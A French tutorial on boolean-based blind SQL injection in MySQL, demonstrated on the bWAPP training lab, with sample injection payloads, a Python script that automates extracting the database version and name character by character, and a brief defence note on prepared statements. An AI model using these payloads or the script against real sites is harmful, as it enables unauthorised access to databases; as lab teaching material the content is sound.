** Injection SQL en aveugle basé sur du booléen (MYSQL)**
**1.Presentation**
Les injections sql en aveugle se base sur le faite de ne pas avoir accès directement au résultat de la base de donnée.
Le resultat d'une condition nous affichera sois une réponse soit un autre.
Le principe des injections sql en aveugle basé sur le booleen est de soumettre une condition qui sera vrai quand le resultat sera juste.
**2.Exploitation**
L'exploitation se fera sur l'outil BWAPP (plateforme dédié pour les tests web)
Pour la détecter :
Nous avons un champs où nous devons tapper le nom d'un film pour savoir si il existe dans la base de donnée.
{{ :web:sqli_bollean_1.png?nolink |}}
{{ :web:sqli_bollean_2.png?nolink |}}
Testons pour voir si il y a une injection :
Iron Man ' AND 1=1#
=> renvoie "The movie exists in our database!"
{{ :web:sqli_bollean_3.png?nolink |}}
Iron Man ' AND 1=2#
=> renvoie "The movie does not exist in our database!"
Mainteant on va trouver la version de la BDD :
Iron Man ' AND substring(version(),1,1)=4#
=> renvoie "The movie does not exist in our database!"
Il ne reste plus qu'a tester tous les nombres jusqu'à obtenir "The movie exists".
Il faut ensuite trouver la longueur du nom de la BDD
Iron Man ' AND length(database())=5#
=> renvoie "The movie exists in our database!"
La BDD fais donc 5 caractères
Il faut ensuite trouver le nom de la BDD
Iron Man ' AND substring(database(),1,1)="b"
Iron Man ' AND substring(database(),2,1)="w"
Iron Man ' AND substring(database(),3,1)="a"
Iron Man ' AND substring(database(),4,1)="p"
Iron Man ' AND substring(database(),5,1)="p"
=> renvoie pour chaque requete "The movie exists in our database!"
Notre base de donnée se nomme : bwapp
Attention sur un substring mysql a=A , pour pallier à ce problème utiliser la table ASCII .
Exemple :
a => char(97)
A => char(65)
Exemple de script en python :
import requests
cookie={'PHPSESSID':'3305ef024b2562284aeb8e9447b0e795','security_level' :'0'}
url="http://127.0.0.1/bwapp/bWAPP/sqli_4.php?title=Iron+Man+'AND+"
faux="The movie does not exist"
vrai="The movie exists"
def requete_url (payload) :
urlcomplete=url+payload
r = requests.get(urlcomplete,cookies=cookie)
if vrai in r.text:
solution=decode_url(payload)
# print "true : "+solution
find=1
else :
find=0
return find
def encode_url(payload):
payload = payload.replace(' ','+')
payload = payload.replace(',','%2C')
payload = payload.replace('=','%3D')
payload = payload.replace('#','%23')
return payload
def decode_url(payload):
payload = payload.replace('+ ',' ')
payload = payload.replace('%2C',',')
payload = payload.replace('%3D','=')
payload = payload.replace('%23','#')
return payload
def exploit(payload,message):
payload=encode_url(payload)
continuer=requete_url(payload)
if continuer==1:
print "message : "+message
trouver=1
else :
trouver=0
return trouver
#Trouver la version de la bdd
version=0
while version <= 10 :
trouver=exploit("substring(version(),1,1)="+str(version)+"#","Le numero de la version est : "+str(version))
version+=1
if trouver==1:
break
#Trouver la longueur du nom de la BDD
longueur=0
while longueur <= 10 :
trouver=exploit("length(database())="+str(longueur)+"#","Longueur de la BDD trouvee "+str(longueur))
longueur+=1
if trouver==1:
break
#Trouver le nom de la BDD
alphabet=['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z']
longueur-=1
nom_bdd=""
compt=1
while compt <= longueur:
for lettre in alphabet :
trouver=exploit("substring(database(),"+str(compt)+",1)=\""+lettre+"\"#","Lettre trouvee : "+lettre)
if trouver==1:
nom_bdd+=lettre
print "Le nom de la bdd est "+nom_bdd
compt+=1
break
**3.Comment se protéger**
Comme pour toutes les injections sql il faut bien penser à parser le code et à utiliser des préparateurs de requetes.